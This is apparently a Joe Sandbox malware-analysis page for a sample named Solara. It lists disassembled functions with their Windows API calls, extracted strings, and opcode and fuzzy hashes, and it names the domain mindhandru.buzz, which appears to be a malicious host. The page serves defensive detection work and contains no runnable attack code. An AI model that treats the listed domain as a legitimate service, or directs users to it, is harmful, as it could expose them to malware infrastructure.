Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: # $K,W"$p$v{B$*($64$><
API String ID: 0-3118935134
Opcode ID: 579d97964da7ca38581d62584efaed089f0d86a6c0647037bd8c4f0665b17e7c
Instruction ID: 4078d894f415666316d5bf7078af90d28ee8da83ef489743bc03fd894843b477
Opcode Fuzzy Hash: 579d97964da7ca38581d62584efaed089f0d86a6c0647037bd8c4f0665b17e7c
Instruction Fuzzy Hash: 6E61BDB16083918BD7349F28D8527ABBBF0EF82314F44892DD1C98B251DB798945CB5B

Function 00221A07 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,00000000,?,?,?,002213BD,?,00000000), ref: 00221AA0
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,00000000,?,?,?,002213BD,?,00000000), ref: 00221AC9
GetACP.KERNEL32(?,?,002213BD,?,00000000), ref: 00221ADE

Strings

OCP, xrefs: 00221A5B
ACP, xrefs: 00221A25

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 083d4a6b937a61f0097e7b146c2b83335e517912b1b1d0dc8692f519b0bec96c
Instruction ID: d907c4121d0182726d67f44ab989919fb8dcc51ed2078e6b879c80264922aa0b
Opcode Fuzzy Hash: 083d4a6b937a61f0097e7b146c2b83335e517912b1b1d0dc8692f519b0bec96c
Instruction Fuzzy Hash: B021B822B22122B6D7348FD4E904E9772AAEB74B54B968435E909D7100E731DE70C390

Function 00408FF0 Relevance: 7.8, Strings: 6, Instructions: 281COMMON

Download Yara Rule

Strings

. ,9, xrefs: 004090D9
9fI4, xrefs: 004090E1
hD7;, xrefs: 004090F9
$ "!, xrefs: 004090D1
+ay+, xrefs: 004090C9
.%, xrefs: 00409041

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: $ "!$+ay+$. ,9$.%$9fI4$hD7;
API String ID: 0-3374441321
Opcode ID: 4525fc37a33f65980ab820d0b4ffd6f62496fe43c532b07e95198825b5b12c46
Instruction ID: 3c5089133fab0bd765ba1d8b8cc0b9f59daa44b6ad851400bf53d0a0666aed87
Opcode Fuzzy Hash: 4525fc37a33f65980ab820d0b4ffd6f62496fe43c532b07e95198825b5b12c46
Instruction Fuzzy Hash: 8081D6352087828AD709CF39886037BFFD19FE7304F1895AEE4D59B287D6398909C716

Function 00201FB0 Relevance: 7.7, APIs: 5, Instructions: 200fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00201240: _strlen.LIBCMT ref: 002012BA

GetFileSize.KERNEL32(00000000,00000000), ref: 00202046
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0020206B
CloseHandle.KERNEL32(00000000), ref: 0020207A
_strlen.LIBCMT ref: 002020CD
CloseHandle.KERNEL32(00000000), ref: 002021FD

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: CloseFileHandle_strlen$ReadSize
String ID:
API String ID: 1490117831-0
Opcode ID: 0527a2d9d620dfc80bc2153705924f8898fbb8f1bd12d00b7d481e9736ad61b3
Instruction ID: 8cdffd46ab8303ac465272b80cad94489a2187e0791127cfaaf8fde27e2bb298
Opcode Fuzzy Hash: 0527a2d9d620dfc80bc2153705924f8898fbb8f1bd12d00b7d481e9736ad61b3
Instruction Fuzzy Hash: 6271B1B2D10319DFCB10DFA4DC497AEBBB5BF48310F140629E814A7392E73599698BA1

Function 0040C6F5 Relevance: 6.5, Strings: 5, Instructions: 256COMMON

Download Yara Rule

Strings

mindhandru.buzz, xrefs: 0040CA73
JH, xrefs: 0040C9B0
CRSP, xrefs: 0040C9C6
VBT, xrefs: 0040C9BB
,-, xrefs: 0040CA12

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: ,-$CRSP$mindhandru.buzz$JH$VBT
API String ID: 0-2820764157
Opcode ID: e280d1397c31dbd8898e29d8cdbfa637485b9278b4305355ac3f679eb988932a
Instruction ID: a326872bcfad62b3e096236d5f83fa90e4d7a2b6f3c67d078c43e8b1f804b917
Opcode Fuzzy Hash: e280d1397c31dbd8898e29d8cdbfa637485b9278b4305355ac3f679eb988932a
Instruction Fuzzy Hash: 8681D1B55483D18ED335CF2585817EBBFE1ABD2304F188A6DC4D96B381C7390906CBAA

Function 00219CC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: 1b63e56013f978c6a94efebc621a8bcb3b6580830d976a0283ebb2b4bcd391c5
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: 33024C71E1121A9BDF14CFA8C8807EEB7F5FF58314F24826AE519E7341D731AA918B90

Function 00413EB0 Relevance: 6.1, Strings: 4, Instructions: 1089COMMON

Download Yara Rule

Strings

D]+\, xrefs: 004148B0
RCA, xrefs: 00414349
L<, xrefs: 00414158
rEA, xrefs: 0041456B

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: D]+\$L<$RCA$rEA
API String ID: 0-3246177857
Opcode ID: 36523a36bccb4e17342bed48d1493ec6649581383b7abc65ac82e0241de6d9b9
Instruction ID: 8b2f5974032e75d1abcfbd94c269e82fe70e0e90aabde0490a19ba4bbc2f83fe
Opcode Fuzzy Hash: 36523a36bccb4e17342bed48d1493ec6649581383b7abc65ac82e0241de6d9b9
Instruction Fuzzy Hash: 6B5257766082019BD718DF28DC517ABB3E2FFCA304F19893EE581873A1EB789945C749

Function 0020F8E9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0020F8F5
IsDebuggerPresent.KERNEL32 ref: 0020F9C1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0020F9DA
UnhandledExceptionFilter.KERNEL32(?), ref: 0020F9E4

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 7f4505ebfe792d6aa26ce1fce54198a4018c5bdf88f4610706efc795769c4e34
Instruction ID: e4db289d4a63e3b8690f5d7d23655091c1fc56526890f9e3de52ae14f5145c67
Opcode Fuzzy Hash: 7f4505ebfe792d6aa26ce1fce54198a4018c5bdf88f4610706efc795769c4e34
Instruction Fuzzy Hash: A131F675D1131DABDB61DFA4D9497CDBBB8AF08300F1081AAE40CAB290EB719A95CF45

Function 00424789 Relevance: 5.7, Strings: 4, Instructions: 663COMMON

Download Yara Rule

Strings

, xrefs: 00424459
FG, xrefs: 004244EA
PGB, xrefs: 00424BBC
01, xrefs: 0042490D

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: 01$FG$PGB$
API String ID: 0-3404118182
Opcode ID: 745afc0cc7dd846664ec5664b35ada90e17580a312ab5aa8006f63e573b13fc6
Instruction ID: 408d2189961acd78c3987564a95a34da749e70f3332da267077b818aa06fccc0
Opcode Fuzzy Hash: 745afc0cc7dd846664ec5664b35ada90e17580a312ab5aa8006f63e573b13fc6
Instruction Fuzzy Hash: DC22227A6183128BC324CF69D8912ABF3E2FFC5300F59892DD5C587361E7749905CB8A

Function 00426170 Relevance: 5.5, Strings: 4, Instructions: 478COMMON

Download Yara Rule

Strings

zxa6, xrefs: 00426286
ugB, xrefs: 004266B5, 0042676F
}, xrefs: 004266F9
?ohm, xrefs: 0042675A, 00426767

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: ?ohm$ugB$zxa6$}
API String ID: 0-653187216
Opcode ID: e128a82c2b9e89712729df2ad22f61a7c951db08a4b225d195a566eae1d9e11c
Instruction ID: 06f4d584c6df524404a0e7d416c7f668235aa4230a2ea766c601a2d2db1b7e17
Opcode Fuzzy Hash: e128a82c2b9e89712729df2ad22f61a7c951db08a4b225d195a566eae1d9e11c
Instruction Fuzzy Hash: 3EF123B56083918BD300CF25E89172BBBE1AFD6308F19896EE5C49B381D739D805CB5B

Function 0040A840 Relevance: 5.4, Strings: 4, Instructions: 367COMMON

Download Yara Rule

Strings

VP, xrefs: 0040A954
Z]$, xrefs: 0040ABFA
,, xrefs: 0040ABF5
0T, xrefs: 0040A93C

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: ,$0T$VP$Z]$
API String ID: 0-1140734058
Opcode ID: 39ef20b1fd791b491b64347a68af976ebab00b08b564c8fc42fc454c68d50c41
Instruction ID: ca5576e09d99e897cda90fae2235b3a944e3881cfc892fb19d0dd320387c42a7
Opcode Fuzzy Hash: 39ef20b1fd791b491b64347a68af976ebab00b08b564c8fc42fc454c68d50c41
Instruction Fuzzy Hash: 97C1247164C3508BD324CF29949026BBBE2ABD2704F18C93EE5D56B385D739D81ACB87

Function 0041B8F0 Relevance: 5.3, Strings: 4, Instructions: 345COMMON

Download Yara Rule

Strings

{u, xrefs: 0041BB86
+(, xrefs: 0041B9DA
jk, xrefs: 0041BBA6
wq, xrefs: 0041BB8E

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: +($jk$wq${u
API String ID: 0-3364037903
Opcode ID: ed1f88ab15146ea20f00ade5289919f30e2508cf1d396888c8e03355639199c6
Instruction ID: f00069a08531ed66de6e90fe5b49b38ba7189ab23d36caf79edaf2bcd9991edb
Opcode Fuzzy Hash: ed1f88ab15146ea20f00ade5289919f30e2508cf1d396888c8e03355639199c6
Instruction Fuzzy Hash: 06A1EEB59083018BC724DF28C8516ABB7F1FF85310F588A1DE8D58B391E738E985C79A

Function 00423650 Relevance: 5.2, Strings: 4, Instructions: 189COMMON

Download Yara Rule

Strings

IIHO, xrefs: 00424F6B
okWm, xrefs: 00424F81
@yvH, xrefs: 00424F4A
|AAO, xrefs: 00424F55

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: @yvH$IIHO$okWm$|AAO
API String ID: 0-3977483481
Opcode ID: 3d528a020da37f71f27cd83593dcd6cea8b04c5f76f60da3c281fd077c3f5bed
Instruction ID: ead6bea0579c26cfb174e072bb528aa289492c0dd679de58fee030b38c64b347
Opcode Fuzzy Hash: 3d528a020da37f71f27cd83593dcd6cea8b04c5f76f60da3c281fd077c3f5bed
Instruction Fuzzy Hash: 0F5146313583A58BE7308E6894813EBFBE1EBD5350F85493ED5C587382E23C9906D79A

Function 00414D0A Relevance: 2.8, Strings: 2, Instructions: 259COMMON

Download Yara Rule

Strings

v, xrefs: 0041508E
NA, xrefs: 00414EDB

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: v$NA
API String ID: 0-3285912899
Opcode ID: 7eaad9629a3266ebc930e3711ca579da6a000e68e42694715771e7a81a4e7825
Instruction ID: 228c4c78f232b3fdc9f3dcfbc0d539ff9c1af9764f424dba29d49886aa30e314
Opcode Fuzzy Hash: 7eaad9629a3266ebc930e3711ca579da6a000e68e42694715771e7a81a4e7825
Instruction Fuzzy Hash: 5F7103B5908740DFD7309B14E8417ABB3A5FF86319F04453DE4894B362EB35A882CB9B

Function 0041BCBB Relevance: 2.7, Strings: 2, Instructions: 231COMMON

Download Yara Rule

Strings

N, xrefs: 0041BD68
Q[, xrefs: 0041BD60

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: N$Q[
API String ID: 0-3459853982
Opcode ID: 9ebf6519c99dd75030be15e6a727a0117085af5d46f595d0186b3348aa3d2bed
Instruction ID: 1102de8df2cc5530573bd31a70b3c3d2f7e675658d1c89c430694a195c2f9c9f
Opcode Fuzzy Hash: 9ebf6519c99dd75030be15e6a727a0117085af5d46f595d0186b3348aa3d2bed
Instruction Fuzzy Hash: D451F37164C31187C7049F25E8922ABB7F2EFA6314F08486DF9C45B391E339964AC79B

Function 0041BCCE Relevance: 2.7, Strings: 2, Instructions: 227COMMON

Download Yara Rule

Strings

N, xrefs: 0041BD68
Q[, xrefs: 0041BD60

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: N$Q[
API String ID: 0-3459853982
Opcode ID: 7f9cc37221207b23ecd00fcce42d5dee4acb7e68abeae8789e1d29ffe32b5575
Instruction ID: 8cb3fe215d730c7739647166da02980c01509862d16eec9086fa792282c2747c
Opcode Fuzzy Hash: 7f9cc37221207b23ecd00fcce42d5dee4acb7e68abeae8789e1d29ffe32b5575
Instruction Fuzzy Hash: 2151147064C31187C7049F25D8922ABB7F2EFA2314F08486DF9C45B381E33D964AC79A

Function 0041A722 Relevance: 2.6, Strings: 2, Instructions: 147COMMON

Download Yara Rule

Strings

B, xrefs: 0041A870
1296, xrefs: 0041A868

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: 1296$B
API String ID: 0-1251279296
Opcode ID: 8a96e5860eb24be9f6b63c20d5d9b2e535ee221216b37142fd12bd390dd806c5
Instruction ID: 86492692862909a1efe5654092d4701e883d3d02905e21dddb8f10ab8e440b4f
Opcode Fuzzy Hash: 8a96e5860eb24be9f6b63c20d5d9b2e535ee221216b37142fd12bd390dd806c5
Instruction Fuzzy Hash: 32412671A093808BE314CF29D84179BBBE2ABD2320F148A6DF4D5973D5C7B9C8468B47

Function 00428B40 Relevance: 2.6, Strings: 2, Instructions: 106COMMON

Download Yara Rule

Strings

RE, xrefs: 00428B7A
4[, xrefs: 00428B72

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: 4[$RE
API String ID: 0-2756277242
Opcode ID: 3000bd53f2ad615623c408e016e913863d8d7d72138c085fba8cfa7508d136e4
Instruction ID: 2b8fbb28d538d6e9e2e4f65ce2aa2b84f23e0c5f5a1dcbb08d99da414aae5b60
Opcode Fuzzy Hash: 3000bd53f2ad615623c408e016e913863d8d7d72138c085fba8cfa7508d136e4
Instruction Fuzzy Hash: E831FEB06493948FDB04CF219890AAFFBF1EBC2320F154A2DE4D55B290C7389946CB86

Function 00418BC2 Relevance: 2.6, Strings: 2, Instructions: 104COMMON

Download Yara Rule

Strings

owA, xrefs: 00418BBC
L4, xrefs: 00418BA0

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: owA$L4
API String ID: 0-765284933
Opcode ID: 23b3c7023c61747a34dc76ef13d5e06b2464dd9ef29990b9ee06dbb1510347bd
Instruction ID: e3824644a8fb429865c603b8a363696f75faac3510a7d854f2e4cc00fafcc344
Opcode Fuzzy Hash: 23b3c7023c61747a34dc76ef13d5e06b2464dd9ef29990b9ee06dbb1510347bd
Instruction Fuzzy Hash: 0C21F376B1D3908BE734CB2485543ABB6D3ABD6720F29C53EC4C697316CB349942878B

Function 0043B780 Relevance: 2.0, Strings: 1, Instructions: 777COMMON

Download Yara Rule

Strings

f, xrefs: 0043BA05

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: InitializeThunk
String ID: f
API String ID: 2994545307-1993550816
Opcode ID: 55419274909e3b661cfc6698c576cee513e24a1ff8f850c050a219275fded300
Instruction ID: 99d2d96c1fe3a32680c7fd0f3917c610481229326b232b374f031ad44cd2cd84
Opcode Fuzzy Hash: 55419274909e3b661cfc6698c576cee513e24a1ff8f850c050a219275fded300
Instruction Fuzzy Hash: 423246716083518FD718CF28C88172BBBE2EB89314F199A7EE6D587351D778DD018B8A

Function 004274B5 Relevance: 1.8, Strings: 1, Instructions: 552COMMON

Download Yara Rule

Strings

rvB, xrefs: 00427666

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: rvB
API String ID: 0-1233361888
Opcode ID: fe79a5e816022befe5a23ad39f115343c1358647311d702799e457fa692b784e
Instruction ID: ea5d5fe6dd4895e45a28bd51e94b7ee19f931a44b2ec468b03619dfb65c2ca21
Opcode Fuzzy Hash: fe79a5e816022befe5a23ad39f115343c1358647311d702799e457fa692b784e
Instruction Fuzzy Hash: 55021876A1C3658FC718DF28D81162FB7E1AFC5304F49863DE89597381EB34A905CB86

Function 00429E00 Relevance: 1.7, Strings: 1, Instructions: 484COMMON

Download Yara Rule

Strings

", xrefs: 0042A119

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: bf07c57c00d1ef3b7f88535b94f074363f082480f1c2b643159cc3dbc51979fc
Instruction ID: 9a7f138ab333bc59c9f14f5eb4f23d3369a7b87edc0b0af4b67c7495f8817cfc
Opcode Fuzzy Hash: bf07c57c00d1ef3b7f88535b94f074363f082480f1c2b643159cc3dbc51979fc
Instruction Fuzzy Hash: 6EE158B2B083215BD715CE24E88076BB7D5AB94304F8D852EEC9A87382E63CDD44C797

Function 0042CA59 Relevance: 1.6, Strings: 1, Instructions: 378COMMON

Download Yara Rule

Strings

v=@R, xrefs: 0042CDBE

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: v=@R
API String ID: 0-918497602
Opcode ID: 22e58559bf179f218bdf042bb1f081b0cf1dfeede3b64f4e59e8d0a24c46f7fa
Instruction ID: 880176603848ab7b1e90caaa1aa9e2105f24979e0c2c4f41d2e8e55d92bb020e
Opcode Fuzzy Hash: 22e58559bf179f218bdf042bb1f081b0cf1dfeede3b64f4e59e8d0a24c46f7fa
Instruction Fuzzy Hash: C0D18EB49047409FD724EF39C586366BFB1AF02300F544A5EE8EA4F34AE334941A8BD6

Function 004298B0 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

", xrefs: 00429B74

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 7e98b4656ee7a597cc4d0ae5467a7c4b97e5a60aa5ade5d03bcc0f57a0d03316
Instruction ID: 8eea5f4350ae280fe8e911fa23a5e51286f6c133913e8e17d238895ea971573b
Opcode Fuzzy Hash: 7e98b4656ee7a597cc4d0ae5467a7c4b97e5a60aa5ade5d03bcc0f57a0d03316
Instruction Fuzzy Hash: 3271D8327187604BD7248E2DA88035BB7D6ABC6330F68972EE4B4CB3E1D679DC458749

Function 0042A360 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042A55E

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 96c1d4b580b2f1f4d4f4a67dd4d13a0544a0e3e12ebd0cc6c0ce5e6543fb9160
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 9571E632B083259BD714CE28E48431BB7E2ABC5710FA9852EEC9497351D379DC55878B

Function 0043B4B0 Relevance: 1.4, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

389~, xrefs: 0043B555

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: 389~
API String ID: 0-1352396282
Opcode ID: d800fa6720e3b0b88aa2adfc40572340e84a4771e132665fb142ab8bbe239f88
Instruction ID: 6870975c055752de0d67d56063524f0ac327e2c41d35e05c0d764e2364cd8a2c
Opcode Fuzzy Hash: d800fa6720e3b0b88aa2adfc40572340e84a4771e132665fb142ab8bbe239f88
Instruction Fuzzy Hash: FA5103326143016BD718CF29DC9566BB7D2EBC9324F28952EEA8987362D334DC40C79A

Function 0040C30B Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

C@, xrefs: 0040C35B

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: C@
API String ID: 0-3964751785
Opcode ID: e04e908ed38f475ce19dab6128b6197d0fd39cf5821b70b78784042824ecd997
Instruction ID: 50cc35f14600aeb766201b0331b62055364186816cf513d9622f109cde498438
Opcode Fuzzy Hash: e04e908ed38f475ce19dab6128b6197d0fd39cf5821b70b78784042824ecd997
Instruction Fuzzy Hash: 86410472A1C3018BD318DF24DC9166BB7E2FFCA300F189A2DE4C5D7265D638C9068749

